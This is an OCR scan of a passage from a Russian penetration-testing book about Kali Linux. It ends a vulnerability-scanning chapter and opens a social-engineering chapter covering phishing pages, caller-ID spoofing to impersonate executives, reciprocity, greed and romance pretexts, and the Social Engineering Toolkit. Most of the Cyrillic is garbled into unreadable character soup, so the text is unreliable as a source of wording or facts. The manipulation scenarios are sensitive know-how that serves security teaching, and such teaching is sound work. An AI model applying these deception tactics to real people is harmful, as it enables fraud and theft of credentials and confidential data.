© 4¢ Runenumalinux

Grab banner

Extract password policy {polenum}

Extract password policy {(nmap)

Enumerate users (rpcclient)

Enumerate. users (nmap}
Enumerate shares {nmap}
Enumerate logged in users: (nmap)

Enumerate groups {nm_ap}

Enumerate domain admins (net)

Check for null sessions (rpcclient)

Puc. 6.40. Crnincok KOMaHA KOHTEKCTHOro
MEHIO AN KOMMbloTepa
noa ynpaeneHnem Windows
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B cremyrorneii riaBe Mbl 06CYIMM HCKYCCTBO OOMaHa ¥ TOTOBOPUM O TOM, KaK MOYKHO
BOCTIOJIB30BATHCS YEJIOBEUECKUMU CIAO0CTSIMHU, YTOOBI I0OCTHYB CBOEIH 11esn. Bo MHOTHX
cJIydasix K 9TOi mpoiieype MosKHO u He npuberath. Ho koria y nac Het ntndopmariii,
MO3BOJISIONIEH MCIOTb30BATH TENEBYI0 HH(MPACTPYKTYPY, TAKUE METOBI MOTYT GBITH
OY€Hb [10JIE3HBIMU.

Bonpocel

KaxoBa cBsI3b MKy YSA3BUMOCTHIO U 9KCIJIOHTOM?
Va3BUMOCTH KaKOro KJacca CYUTAIOTCSA HanboJiee OmacHbIMU ?
KaxkoBo onpejiesieriie yiajeHHON ySI3BUMOCTH ?

-~ =

Kaxoii UHCTPYMEHT MOJKET BBIIIOJHATD BHYTPEHHEE M BHECITHEE CKAaHUPOBaAHUE
PCI DSS?

Kaxkoii mHCTpyMeHT ObLI CO3/IaH CIelUaNbHO IJIs ayaura Linux-cucrem?

o

6. Kakoit uncrtpyment unrerpupoBad B SPARTA nys BbIliosiHeHUST CKAHUPOBAHUS
cafita?

JlononHuTEnNbHLIE MaTepuallibl

O Csexenust 06 9KCIIONTAX U yA3BUMOCTSIX: https://www.exploit-db.com/.

O basa gaHHbIX OOIIUX PUCKOB U YSI3BUMOCTEIA: https://cve.mitre.org/.

O basa maHHBIX ysI3BUMOCTEl 1 9KcmioiiToB Rapid7: https://www.rapid7.com/db.

Q VYuebuuku o ckannpoBanmio Nessus: https://docs.tenable.com/nessus/Content/Scans.htm.
O dopywm coobuiecTBa OpenV AS: https://community.greenbone.net/.



CoumanbHas
NHXXEHepUs

Coyuanvnas unxrcenepus. O3HaYaeT UCIONb30BAHNE YeNOBEYECKUX caabocTell s
MoJIydeHus 1eHHoi nHdopMauu. ITO JKU3HEHHO Ba)KHOE [IJIST UCIIBITATEN s Ha
NPOHUKHOBEHKE NCKYCCTBO 0OMaHa, KOTOPOE MPUMEHSETCS TIPU OTCYTCTBUM WU
HezocraTke nHdopmamnun o mean. Jliogun — Hanbosiee caaboe 3BeHO B 0OeciieyeHnn
6e3omnacHoctu JI0O0H opraHusaiuu. Mbl cyIecTBa O0IECTBEHHDIE, TIOITOMY CaMa
TIpupo/aa JiejaeT HaC YA3BUMbBIMU IJIA TICUXOJIOTUYECKUX aTaK. COHI/IE[.TH)H])IG NHXe-
HEPBI UCIOJB3YIOT 9TH aTaKU /IS TTOJyYeHUS KOHDUIeHnaabHol nHdOopMaIum
WJIM JIOCTYTIa B OTPaHUYeHHbIe 30HbI. HanpasieHust aTak COUaNbHOrO MHKEHEPa
MOTYT OBITH aOCOMIOTHO pasJudHbIMU. Kaskioe U3 3THX HApaBJIeHUI OrpaHuINBa-
€TCA TOJIbKO BOO6pa>KeHI/IeM NHANBUIa, OCHOBAHHOM Ha €T0 BJIUAHUN N pe3yJjbTaTe,
KOTOPBIN Tpebyercs noaydnTh. B 270l riiase Mbl 00CYIUM OCHOBHBIE TIPUHIUIIDL
u ﬂeﬁCTBHH, KOTOpbI€ TPUMEHAIOT HpO(beCCI/IOHa.HbHI)Ie ColmruaJibHbI€ MHKEHEPDI JIA
MaHUITYJUPOBaHUA JIO/IbMHU, ‘{TO6])I TMOJMYYUTDH HYKHYIO UM I/IH(bOpMaHI/IIO NJIN BbI-
TIOJTHUTD OTIpe/ieJIeHHbIE ﬂeﬁCTBHH.
B 37011 ry1aBEe MBI pacCMOTPUM CJIEYIONNE TEMBI.

QO OcHoBHBIE TICUXOJOTHYECKHIE IIPpUHITAIIBI, (bOpMyjII/IpyIOHII/Ie neJan n BUaAeHme co-
IIMAJIbHOT'O MHyKEHEPaA.

Q OO6uwmii mporece MCUXoJOrnYecKoi aTaki 1 METO/AbI COIUATbHOI HHIKEHEPHH
C TIpUMepaMu U3 PeasbHOTO MUPA.

C Touku 3penust 6€30IIaCHOCTHU COIMATbHASA MHAKEHEPHS — HTO MOIIHOE OPYIKHE,
KOTOPOE MCIIOJIb3YeTCs /LI MAHUITY I POBAHUS JTIOIbMU, 4TOOBI JOCTUYD JKeJaeMOI
nenn. Bo MHOTIX opranusanusax conuajbHas HHKEHePUs MOKeT ObITh IIPUMEHeHa
Kak 11 obecredenns 6e301acHOCTH COTPYAHUKOB, TaK ¥ JJIs IOJydeHUs 3HAHWIA
0 denoBeveckux caaboctsax. ObpaTure BHUMAHNE, YTO METO/BI COUANBHON MHKe-
HEPpHUU OYEHDb PACIIPOCTPaHEHDbI U MIPUMEHAIOTCA MHOTUMM JIIOAbMU, HAITPUMEDP HC-
TIbITATEJIAMN Ha IPOHUKHOBEHNE, MOIEHHUKaMM1, BOpaMH, 1€JIOBBIMU IapTHEPaMU,
BepOOBIMKAMHU, [TPOIaBIlaMu, HH(MDOPMAIHOHHBIMU GPOKepaMH, IIMTHOHAME, HE[0-
BOJIbHBIMU COTPYAHUKAMU U Ja’Ke JI€TbMU. PaBHI/I]_Ia JINID B IMIpUYMHAX, M13-3a KOTO-
PBIX JIIOJN UYT Ha O6M3H, a COITMAJIbHbBIEC MHKEHEPDI IPUMEHAIOT IIPOTUB 11€JI CBOU
3HAHUSI.
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TexHnyeckue ycnosus

st aToli raBel BaM noTpebyercs moceanss sepcus Kali Linux.

MoaenMpoBaHMe NCMXoaorMm YenoBeka

[Tcuxosioruyeckrue BOSMOKHOCTH Y€JI0BEKA 3aBUCAT OT TOrO, KaK OH BOCIIPUHUMAET
peaibHOCTb. A PeajibHOCTh BOCIIPUHUMAETCS II0CPEACTBOM 3PEHUsI, CIyXa, 00OHSHUS,
ocsI3aHus, a TaksKe Osiarogaps BAMSIONIMM Ha YejoBeKa BHemHUM cuiaM. C IoMOIIbIO
STUX CUCTEM OPraHOB UYBCTB ¥ BHEITHUX CUJI Mbl M BOCIIPUHUMAEM BHENIHUN MUP.

C TOYKM 3peHUs] COLMATBHON MHIKEHEPUK Mbl MOKEM [1OJYYUTh JOIOJTHUTEIbHYIO
uHbopMalrio 06 MHTEPECYIOIIEeM HaC YeloBeKe, HabJIi0/1ast 32 HUM B XOZI€e JIMYHOro 0011e-
HUS WK CO CTOPOHBL. HaM Hy:KHO HabI04aTh 32 €10 MUMUKOI B HEOKMIAHHBIX [/ HETO
CUTYALUSX, HAIIPUMED CJIeIUTh, KAK OH OTpearrpyer Ha BOIPOCHI WU YTBEPKICHUS,
KOTOPBIX OH He OjKuzia/l (JIBVIKEHKe IJIa3 U 4acTOTa MOPraHus ), OTMeYaTh €ro dMOLUU
(yIMBJIeHHE, CYacThbe, CTPaX, [iedaJib, THEB WU OTBPAlleHNe ), aHAIM3UPOBATh JIOTHYECKIE
HECTBIKOBKM MJIM CJIOBECHBIE PACXOKIEHUS, a TaKyKe ero rnopesienye. Yacto A moJyuyeHus
KOH(pUAEHIINAIbHON MHMOPMALIUU WK JOCTYIIA B 30HbI OTPAHIMYEHHOIO A0CTYIIA COLM-
aJIbHOMY MHKEeHepy HeoOXOAMMO HAIIPSAMYIO BOIUTH B KOHTAKT ¢ OOBEKTOM. DTO MOKET
ObITH KaK JIM4HOe 00IIeHue, Tak U OOIIeHre CPe[ICTBAMU 9JIEKTPOHHON KOMMYHUKAIINH.

B peasbHOM Mupe /Jist BBITOJHEHU JaHHOM 3324l IPUMEHSIOTCS iBe 001I1e TaK-
TUKI: cobeceoBanye u orpoc. OfHAKO Ha IPAKTUKE HAa KayKIyI0 TAKTUKY BIMSIOT TaKKe
(haxTOpbI, KaK OKPYsKaroIIast cpelia, 3HaHue eIl U CIIOCOOHOCTH KOHTPOJIUPOBATD CPE/Ly
o01ieHust. ITU COBOKYIIHBIE (haKTOPBI (KOMMYHUKAIUST, OKPY/KAIOIIAs CPE/Ia, SHAHIISI
U paMKH, OrpaHUYMBaIOIIKe COIUANbHOTO MHKeHepa) (hopMUpyIoT 6a30Bblil HAbOD
HaBBIKOB 9 (EKTUBHOTO COLMAIBHOIO NHKEeHepa, TPeOyeMbIX /IS IIPOBEAEHUS aTaKu.
Bes negarenbHocTh B 00J1aCTH COIMANBHOM MHKEHEPUU OCHOBAaHA Ha JOBEPUTEIbHBIX
oTHOIIeHUSX. Ec/i BbI He MOKeTe HaJaJAuTh IIPOYHbIE JOBEPUTENbHbIE OTHOLICHWS
C 1IeJIEBBIM OOBEKTOM, TO, CKOPEe BCETO, IIOTEPIIUTE Hey/iady.

CoBpeMeHHas coumanbHasi MHXEHEPUS — 3TO NMOYTK Hayka. O6s3aTenbHO
NMoceTUTe CalT co3aaTenei CTPYKTypbl coumanbHon uHxenepun (http://
www.social-engineer.org/). MaTtepuansl onybnukosan Kpucrodep XagHarm
(Christopher Hadnagy), ynpasnsiowmin 3TuM caiitoMm. C NOMOLLbO npeso-
CTaBJ/IEHHON 1M MHDOPMaLIMM Mbl MOXEM pacckasaTb HALUKMM MOJSIb30BaTENSM
W KJIMEHTaM O METOAAX NMPOBEAEHMSI Pa3HbIX MCUXOMOrMYECKMX aTak.

[lpouecc aTtaku

Jlasiee omicaHbl OCHOBHbIE TIATH, HEOOXOAUMBIE JIJIsI HaYaJia ICUXO0JOTUIeCKO ara-
KU Ha Bamry 11esib. [lokazaHHbIil 371eCh METO/ JajleKO He eITNHCTBEHHBIN U He CaMblil
ycnemHbiil. Ho, y3HaB 0 HeM, BbI [TOJIyYnTe [IPeICTaBIeHIe O COIMATIbHON NHKEHEPUH.
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C60p pasBel/IaHHBIX, BBISIBJICHUE YS3BUMBIX TOYCK, JIAHUPOBAHKE U BHITIOJTHEHE
aTaKu — 3TO OCHOBHBIE IIAard, peJINPUHIMAEMbIe CONMATHbHBIMU WHKEHEPAMU JIJIsT
YCIIENTHOTO MOJIy4eHus HY>KHOH nH(pOpMAIU WK TOCTYTIA B 3alIPETHYIO 30HY.

O Co6op passeaganubix. CynecTByeT MHOKECTBO METO/IOB, C TIOMOTIBIO KOTOPHIX
ornpeziesisieTcst HanboJiee TPUBJIEKATEIBHBIN /IS KCIIBITATE/IST HA TIPOHUKHOBEHUE
06BEKT. TO MOKHO CJIeJIaTh, cCOOPAB KOPIIOPATUBHBIE /[PEca AJIEKTPOHHOI MOUTHI
(MCTOIb30BaB MHCTPYMEHT PACIINPEHHOTO TTONCKa). XOPOoIie pe3yIbTaThl MOKHO
MOJIYYHUTDh, COOPAB MEPCOHATBHY0 UH(DOPMAIIIO O JIO/SIX, pAOOTAIOIIIX B CAMOi
1[eJIeBOil Opranu3anuu (B ToM 4uciie yepes coluajibible ceT). JonosHuTenbHyio
nH(OPMAITIIO BaM JIACT BBISIBJIEHNE CTOPOHHUX TPOTPAMMHBIX TTAKETOB, UCIIOJTH3Y-
eMBbIX B IleJIeBOii opranusanuu. He momenaer u yyactue B KOPopaTUBHBIX GU3HEC-
MEepOTIPUSATUSIX U BeUePUHKAX, a TakKe B KOH(MePeHIINsIX. JTO MO3BOJIUT BBISIBUTH
HanGoJsiee OAXOAANINN UCTOUHUK WH(DOPMATIIH,

O BsisiBieHHe yA3BUMBIX TOYEK. [lociie TOro Kak KIoueBoii MCTOYHIK WH(MOPMAITAN
oTIpe/iesieH, CJelyeT IBUTAThCS Aabllie, & UMEHHO YCTAHOBUTH JIOBEPUTEIbHbIC OT-
HOIIEHUSI. DTO HY’KHO, YTOObI B I1€JIEBOI OPraHU3aIiU He Y3HAJIN O BAIIX TTOMBITKAX
MOJIy4eHUs KOpIIopaTuBHOM nHdopmMaiinu. B Tedenne Beero mporecca 0ueHb BasKHO
IO/I/IEPKUBATD BLICOKUI ypoBeHb CKpbITHOCTU. [Ipu noncke nndopmaiinm xesnaresib-
HO TIOJIYYHTh CBEIEHUSI O IPUMEHSIEMOM YCTapPEBIEM IIPOrPAMMHOM 00€eCTIeueH NN,
KOTOPO€E MOJKET OBITHh MCITOIB30BAHO /IS TOCTABKY BPEAOHOCHOTO KOHTEHTA TT0
9JIEKTPOHHON 11ouTe nian yepes VlHTepHer, 4To, B CBOIO O4epe/ib, II03BOJIUT 3aPa3UTh
KOMIIBIOTEP /I0BEPEHHON CTOPOHDIL.

O IlranupoBanue ataku. Kak opranm3oBaTh aTaky Ha HHTEPECYIONNH BaC 0GBEKT — BBI-
6uparb BaM. Bel MoskeTe MOATH Ha JITYHOE OOIIEHE C TIENEBBIM OGBEKTOM, & MOKETE
u36parh MACCUBHBIN METOJI, C TPUMEHEHMEM AJIEKTPOHHBIX cpeicTB. OCHOBBIBASACH Ha
BBISIBJIEHHBIX YSI3BUMBIX TOUKAX BX0/Ia, MOKHO JIETKO OIPEEJIUTD Iy Th 1 METO]] aTa-
ku. CraskeM, HAUTU APYIKETIOOHOTO MTPEICTABUTEIS CITY/KOBI MOAIEPIKKN KIMEHTOB,
Harpumep Boba, KOTOPBIH, He CO3HABASI TOTO, YTO MOJKET TTPUHECTU BPEJl OPTaHu3a-
1, 6e3 COTJIACOBAHUS C BBICIIINM PYKOBOJICTBOM OY/IET 3aITyCKATH TTOJYIEHHBIE TT0
AJIEKTPOHHOM TTOUTEe BPeIOHOCHBIE (PaiJIbI.

O Hcnoanenue. /[J1g 3aKI0YUTETHHOTO HTANa BaM MOHAL00ATCA PENIUTETHHOCTh
U TepIieHne, KOTOPbIE TI03BOJISAT BaM KOHTPOJMPOBATH X0/ ATAKU U OI[EHUTH MOJIY-
deHHbIe pe3ysbTaTbl. Ha 5ToM aTarie coluanibHbIM HHKeHepaM OTPeOYIOTCs 10CTa-
TOYHOE KOJIMYECTBO HH(POPMAIIUK 1 JOCTYTI K COOCTBEHHOCTH 00BEKTA, UTO, B CBOIO
o4epe/ib, JaCT UM BO3MOKHOCTD B JlaTbHEHIIEM TIPOHUKHYTh B KOPIIOPATUBHbBIE
akTuBbL [IpU yCIenHOM BBIOJHEHUN HTON 3a/la4M TPOIECC IKCILTyaTalluK 1 [IPH-
obperenust GyIeT 3aBepIIEH.

MeToabl aTaku

CylecTByeT IeCTh METOA0B, KOTOPBIE BbI MOKETE IPUMEHUTD K 00beKTY. OHU HOMOTYT
BaM B OOIIEHUHU U MOATOTOBKE 00bEKTA K 3aKII0UNTEIBHON onepariuu. MeTobl Kiaccu-
(buMpoBaHbl 1 OTIMCAHBI B COOTBETCTBUU C MX YHUKAJIBHBIM IIPEICTaBICHIEM B 001acTh
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COLMAJIBHON MHsKeHepry. Mbl TaKsKe BKIIOYIIN HECKOJIBKO IIPUMEPOB, YTOObI II0KA3aTh
BaM peaJIbHBIN ClleHAPUI TIPUMEHEHMSI KasKI0T0 13 BBIOPAHHBIX METOOB. IToMHMTE, 4TO
OCHOBY 9TUX METOAOB aTaK/ COCTABJSIOT IICUXO0JIOTHYecKre (hakTopsl. YT0OBI METOIBI
craju 6oJiee 3 HEKTUBHBIME, UX HEOOXOMMO PETYJISIPHO COBEPIIEHCTBOBATD.

MNoapaxkaHue

Yro6bl 3aBOEBATH JOBEPUE 3AMHTEPECOBABINETO 0OBEKTA, 37I0YMBITIICHHUKHI OY /YT MPHU-
TBOPSITHCSI, TTOACTPANBASICH TIOJl MHTEPECHI T1e7eBOTO 00bekTa. Hampivep, 4To65I TTosTy-
YUTh KOH(PUAECHITMAIbHBIE JAHHDIE, TAKKME KaK JIOTMH 1 apoJib, TAaHHbIE JIMIIEBLIX CYCTOB
1 GAHKOBCKUX KapT, UCTOMB3YIOT (GUITHHT (OAUH U3 BUIOB WHTEPHET-MOTIIEHHITIECTRA,
KOT7Ia TPUMEHSIIOTCS MaCCOBBIE PACCHIJIKU OT MUMEHH TIOITYJISIPHBIX KOMITAHUH WA OpTaHy-
3alui, COIEPIKAIINX CCBIIKYM Ha JIOJKHBIE CAUTDI, BHEIIHE HEOTJIMYNUMbIE OT HACTOSAIINX ).
YT0o6bI pearn30BaTh ATOT METO, 3MOYMBITIIIEHHUK CHAYATA COOMPAET aIpeca SJIEKTPOHHOI
HOUTBI IEJIEBOTO OOBEKTA, 4 3aTeM TIO/ITOTABINBAET MOTIIEHHIYECKYI0 CTPAHUILY, KOTOPast
BBITVISITAT ¥ (GYHKIIMOHUPYET TOYHO TaK >Ke, KaK 1 HaCTOSIINI CaliT.

[Tocite TOro KaK 3JI0YMBINLJIEHHUK MTOJITOTOBUT BCE HEOOXOIMMOE, OH OTIIPABJISIET
oduIaTbHOE ATEKTPOHHOE MICHMO (HATIPUMED, KACATETbHO JAHHBIX 00 YIeTHON 3a-
[UCH), KOTOPOe sIKOOBI HAXOJAUTCS Ha caiiTe MCXOAHOTO GaHKa. [IJist TIOATBEP K ICHST
9TOl MHGOPMAIIUT B TTHCbME COJIEPIKUTCS TPOChOA TEPENTH TI0 CCBIJIKE, YTO, B CBOIO
0YepeTb, TPEIOCTABUT 3MTOYMBINIIEHHUKY aKTYaabHyT0 GaHKOBCKYIO MHMOPMAIIHIO.
O6J1aj1ast XOPOITUMU HABBIKaMU PAOOTHI ¢ BEO-TEXHOJIOTUSIME 1 UCIIOJIb3YsI TIEPEIOBbIE
WHCTPYMEHTBI (Hanpumep, SSLstrip), cormarpHbIil MHKeHep MOKeT JieTKO 1 9 perTnB-
HO aBTOMATU3UPOBATD ATy 3a71a4uy. ECM BBl cOOMpPAeTECh TMIHO BCTPETHTHCS C TIEJIEBBIM
06BEKTOM, MOJKETE TIPEICTABUTHCS eMy PabOTHUKOM GaHKa.

B3anMHbIM 0OMeH

AKT oOMeHa yCAyTamMu I TMOJy4YeHU A 06010THO BBITO/IBI U3BECTEH KAaK B3AUMHBIH
00MeH. ITOT METOJI B COIMAIbHON MHKEHEPUH MOKET BKJII0YATh CIydYailHble 1 J0JIr0-
CPOYHbIE A€JI0OBbI€ OTHOIIEHUA. Ha OCHOBaHUU JTOBEPUTEJTbHDBIX OTHOH_[eHI/Iﬁ O/IUH "3
MAPTHEPOB VIS OJTyYeHUsT He0OXOANMON HH(MOPMAIIMN [IOJKEH MTPEA0CTABUTD APYTOMY
4yT0-TO B3ameH. Hanpumep, Bob aBisgercs npodeccroHanibHbIM XaKepoM U XOUeT 3HATh
o0 noJsinTrKe husndeckoit 6ezonacHoctu B opricHoM sxannu komnaruu ABC. TareabHo
M3YUYUB BOIPOC, OH pelraeT pazpaboraTh CailT 10 MpoJaske aHTUKBapHara 1Mo CHUKCH-
HBIM TleHaM. Bo6 3HaeT, 4To 3TOT caiiT mpuBJedeT K cebe BHUMAaHUE JBYX COTPYAHUKOB,
paboTaronux B 9ToM oduce.

Mber nipesmiosiaraeM, uto Bob yike 03HAKOMUJICS ¢ JTMUHOM wHMOpPMAInei 3THxX co-
TPYZHUKOB, BKJTIOYAS a/[peca 3JIEKTPOHHOM TTOYUTHI, TIOCEaeMble UM HHTEPHET-(POPYMbI
" COollnaJIbHbI€ C€TU U T. /. AJII/ICEI, 6yI[y'—II/I OJAHUM U3 9TUX COprZ[HI/IKOB7 Ha4YuHaeT
peryssdapHoO MOKYIIaTh BEUIU, IpejaaraeMbie MMOA/eTbHbIM CaflTOM, U CTAaHOBUTCA 1JI
Bob6a riaBHoii 1iesibro. M HactaeT MoMeHT, Korga Bob MoskeT IpeyIoKUTh YHHKAIbHYO
AHTUKBAPHYIO BEIllb B 00MEH Ha HEOOXOMMY10 eMy HH(popMaIuio. Bocrnoib30BaBImch
4eJI0BEYECKOil ¢/1aboCThio, a UMEHHO yBJIedeHrueM AJINCHI aHTUKBAPHBIMU BELaMU, OH
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MUIIET €f MHChMO ¥ MPOCUT B 0OMEH Ha YHUKATBHYIO aHTHKBAPHYIO BEIllb Pasy3HaTh
JleTaJI TTOJMUTUKH (husnueckoil 6esomacHoctr kommanun ABC. Tlopnasiics nckyie-
HUIO U 1103a0bIB PO HOPMbI KOPITOPATUBHOW STUKH, OHA BHIAET HYKHYI0 HH(MOPMAIIUIO
Boby. ITo 10Ka3BIBAET, UTO B IOCTHKEHUU CBOEH I[€JIU COIIUATEHOMY HHKEHEPY MOJKET
MTOMOYb CO3/[aHUE NCKYCCTBEHHOH, (haIhbITUBON CUTYAITUN: KOT/IA 3TOYMBITIIJICHHUK HC-
110JIb3YET yBJleueHue COTPY/IHUKA /IS 1IoJIydyeHusl KoHhueHIIManbHON nHndopmaluu.

BnnaHue aBTopuTeTa

MeTo/1 aTaku, KOT/Ia 4eI0BEK MaHUITYJIUpPyeT (DYyHKIMOHATBHBIMEI 00S3aHHOCTAMU 00b-
€KTa, U3BECTEeH KaK amaka agmopumemom. Takoil BU/| ICUX0JIOTMYECKON aTaKy MHOT A
SIBJIIETCS YACTHIO METO/IA EPEBOILIONIEHNUS. B GOIBITUHCTBE CBOEM, BBITIOIHSIS Py THH-
HyI0 paboTy, JIIOAN IeHCTBYIOT aBTOMATHIECKH. 1, KOT/Ia TIOSIBAISIETCST HOBAsT MHCTPYK-
1181, OTIPaBJEHHAsT SKOOBI OT UMEHU BBICIIETO PYKOBOJICTBA, YeJOBEK, MHCTUHKTUBHO
MOHUMast TaryGHOCTh CBOMX JAeHCTBUI, HO HAXO/SACh 10/ BJIMSHIEM aBTOPUTETA, BCE
PaBHO BBIMOJIHIET MOJyYeHHbIe YKA3aHUsI. JTO [eJIaeT HAC BCEX YSI3BUMBIMU TI€Pe]
oTpe/ieJIEHHBIMU YIPO3aMU.

IpeacraBum cebe, 4TO KTO-TO JJIsT TOJYUEHUsI TAaHHBIX 00 ayTeHTU(DUKAIIMY BEIOpaT
B KauecTBe 0OBEKTa CETEBOTO aMUHKUCTPaTopa KoMmanuu XY Z. Uto6bl 0CyIIeCTBUT
3alyMaHHOe, 3MOYMBITILITEHHUK, UCTIOIB3YsT METO/l B3AUMHOTO 0OMEHa, TTOJIyYaeT Tese-
(bommbIe HOMEpa AIMUHICTPATOPA U FeHePATIBHOTO JUpeKkTopa Kommanuu. /lamee, ¢ mo-
MOIIIBIO CepBHUCa TTOIMEHBI BBI30BOB (HATIPUMep, Www.spoofcard.com) 37T0YMBIIIIEHHITK
3BOHUT ceTeBOMY anMuuucTparopy. CeTeBoll afilMUHUCTPATOP BUIUT, YTO 3BOHOK T10-
CTYIIUJI OT T€HEPATBHOTO IUPEKTOPA, M CUNTAET ero mpuoputeTHeiM. [lon BausHIEM
ABTOPUTETA TEHEPATHHOTO TUPEKTOPA (Beb PAOOTHIK CUMTAET, ITO OOTIAETCS UMEHHO
C HUM) CETEeBOM aIMUHUCTPATOP BbIIAET CEKPETHYIO MH(POPMAIIUIO.

Ncnonb3oBaHme XaAHOCTH

O/H 13 caMbIX OOJIBINNX YEJTOBEUECKUX TOPOKOB — KaJHOCTb. MeTo/ UCII0Ib30Ba-
HUS 9TOI He OUeHb XOPOLIEH 4ePThl XapaKTepa OMUCHIBAET CIIOCO0 IIOIyYeHUsT HYKHOI
nHGopManun. JHaMeHuTas Huzeputickas agepa 419 (www.419eater.com) SBIIETCS
TUMMYHBIM [TPUMEPOM TOTO, KAK MOKHO BOCIIOJIb30BATHCST YEJIOBEUECKOI JKaIHOCTHIO.
PaccMoTpuM Takyo cutyannio: bob mianupyer cobupath JUUHYO0 MHGOPMAILHIO
oT cTyzeHToB yHuBepcurtera XYZ. MbI nipe/inonaraem, 4To y Hero yke ecTb ajpeca
AJIEKTPOHHOM TTOYTHI BCEX MHTEPECYIONINX €ro CTyAeHToB. Jlaiee oH pazpabaTbiBaer
coob1IeHne, B KOTOPOM BCEM CTy/IeHTaM yHUBepcuTeTa XY Z Tpe/iaraloTcst Baydepbl
¢ paZuKaJIbHBIMU CKUAKaMK Ha iPod, u nepenaer ero 1o snekrpounnoii moure. Ho 3a a10
CTyZIeHTaM HY3KHO coo01uTh BoOy cBoto nuHyio nHdopmanmio (MMs, agpec, TejedoH,
JIaTy POKAEHMs], HOMEP TAcropta u T. /1.). II0CKOIbKY BO3MOKHOCTD GECIIIIATHO TIOJTY-
YHTh MOCTEAHIO0 MOozeb iPod Ist 11eJIeBbIX CTYAEeHTOB OblLIa TIATEJbHO IPOCYNTAHA,
MHOTHE U3 HUX MOTYT MOTacThcs Ha 3Ty adepy. B KoprnopaTuBHOM MUpe TaKOH MeTO/T
aTaKy MOJKET OBITh PaCIIMPEH JJISI MAKCUMU3AIINH KOMMEPYECKOM BBITOBI M JIOCTHIKE-
Hug OuszHec-1esei.
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HanaxxveBaHue coumanbHbIX B3aMMOOTHOLLEHWN

Bcem naMm HeobxouMa onpeseseHHas (hopMa conUaIbHbIX OTHOUIEHUH, YTOOBI MBI
CMOTJIH TIO/IEJIUTHCSA C KEM-TO CBOMMM MBICJAME, YyBCTBaMU U upesmu. Hanbosee
YS3BUMOH 9aCThIO 000 COMMANBHON CBSI3U SIBJISIETCS] CEKCYATbHOCTh. BO MHOTHX
CAyYasx MY;KUMHBI M KEHITUHBI TIPUBJIEKAOT IPYT pyTa. biarogaps sToMy CUIbBHOMY
YYBCTBY 1 JIO(KHOMY YYBCTBY JIOBEPHST MBI HETIPEIHAMEPEHHO MOYKEM PACKPBITH CEKPET-
nyto uadopmaluio. EcTb HeCKOJIbKO COIMAIbHBIX OHJIAMH-TIOPTAJIOB, T/€ JIOAN MOTYT
noobuiarbes. K rakum pecypeam ornocarces Facebook, MySpace, Twitter u Orkut.

Jomyctum, komnanus XY Z xansana Boba, 4To6bI TOT A/ JOCTHKEHHS YCTONINBOIO
KOHKYPEHTHOTO TIPENMYIIECTBA Pady3Has 0 (PMHAHCOBOM M MAPKETUHTOBOW CTPAaTeTun
kommanun ABC. Bo6 npocMaTpuBaeT CIMCOK COTPYAHUKOB M HAXOAUT JAEBYIIKY 110
uMeHH AJirica, KOTOpask OTBEYAEeT 3a BCe JIeIOBbIe onepaiyu. IIpuTBopsisich 0OBIYHBIM
BBITTYCKHUKOM, OH TIBITAETCST HATIA/IUTH C Hell oTHOIeHust (Harmpumep, depe3 Facebook).
Bo6 HaMepeHHO CO3/IaeT CUTYAIIUH, T/Ie OH MOJKET CTOJIKHYThCs ¢ Ascoit. Hampumep,
B TaHIIEBAJILHOM KJIy0e niin Ha My3biKaibHOM (hectuBasie. Korga oH Boiier B 0Bepue,
OH HAYHET PETYJSIPHO BCTPEYATHCA ¢ ATMCON. JTa MPAKTUKA MO3BOJIUT €MY TOTy9aTh
TI0JIe3HBbIE CBE/IEHUST O (DMTHAHCOBBIX U MAPKETUHTOBBIX TiepcrekTuBax kommanuu ABC.

[TomMHUTE: YeM JIydllie OTHOIIEHMsI, TeM OGOJIbIIE JOBEPHUE 1, CJIe0BATETBHO, GOJIbIITE
nHGopMaIuu ocTynaeT OT NCTOYHUKA. B ciesyionieM pasjiesie Mbl PaCCKaskeM O He-
KOTOPBIX MHCTpyMeHTax, Harpumep SET, obierdaiomux sty 3agady.

Cuna nobonbiTCTBa

Ectb crapast morosopka: mobonsitHoit Bapsape Ha 6azape HoC 0TOpBau. DTo MPenrocTe-
PEKEHME JIO/ISIM, YTO WHOT/IA Hatlle cOOCTBEHHOE JIIOOOMBITCTBO GEpPeT HaJl HAMU BEPX.
Ha pabote ecTb MHOTO MHTEPECHON HHPOPMAIUH, ¢ KOTOPOil HAM TOKE XOTEIO0CH OB
o3HakoMUTbhCsA. Harpumep, HaM MHTEPECHO, CKOJIBKO TTOTyYaeT TeHePaTbHbIN AUPEKTOP,
KTO MTOJIYYHT TTOBBITIIEHNE, & KOTO YBOJIAT. B pesysbrarte connanbHbie MHKEHEPBI MOTYT
HCTIOJIh30BATh 9TO €CTECTBEHHOE JIOGOMBITCTBO MPOTHE Hac. Hac MOTYT co6/Ia3HUTh
CCBIJIKOH B 9JIEKTPOHHOM TT0YTE, IKOOBI BEYINElH K CaliTy CO CIUIETHAME O 3HAMEHUTO-
cTAX. MBI MOKEM «KYIHUTbCSI» Ha JOKYMEHT, B TeJle KOTOPOTO €CTh BPEJIOHOCHDBIN KO/,
B CBOIO 0Yepe/ib CTaBAIIUH MO/ yTpo3y Hallly cuctemy. VcmbiTaTesnm Ha MPOHUKHOBEHNE
MOTYT UCIOJIb30BATh HAIIE JIOOOIBITCTBO JIJIsi OPTAHU3AI[INY CEPUN PA3IUYHBIX ATaK.

MHCTPYMEHTbI COLIMANbHOW UHXEHEPUW

Hucmpymenmot coyuanrvnot unacenepuu (Social Engineering Toolkit, SET) — ato
MHOTO(YHKIIMOHATIbHBIA COBPEMEHHBIN U IIPOCTOI B UCIIOJB30BAaHUU HAOOD UHCTPY-
menToB. SET cosnan yupeaurensmu kommanuu TrustedSec (https://www.trustedsec.com/).
On nomozkeT BaM 1mogo6parte Harbosiee s EKTUBHBII CII0C00 UCIIONb30BAHNUS YA3BH-
MOCTEH KJIMEHTCKOrO MPUJIOKEHUs ¥ IoIPod0BaTh 3aXBaTUTh KOHMUAECHI[UATIBHYIO
uHbopMAIUIO 1ej (HalpuMep, MapoJiu aJieKTpoHHON mouter). Hanbosee neiicTBeH-
HBII METOJI aTaKu — PaCChlIKa (PUITMHTOBBIX TTUCEM C BPEJIOHOCHBIM BJIOJKEHUEM.
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Ouenb ahpeKTUBHBI Java-alIieThbl, BCTPOEHHbIE B (hails, KOTOPBIH, B CBOIO OUYEPE/b,
coxpansercsa Ha nepeHocHoM Hocuresie (USB wiu DVD/CD). KoMOuHUPYsT METOIbI
aTaku, BBI TIOJYYUTE MOTIHYTO MIAThOPMY ISl KCIOTb30BaHUs 1 BhIOOpa Hanboree
yOeaUTEIBHON TEXHUKH.

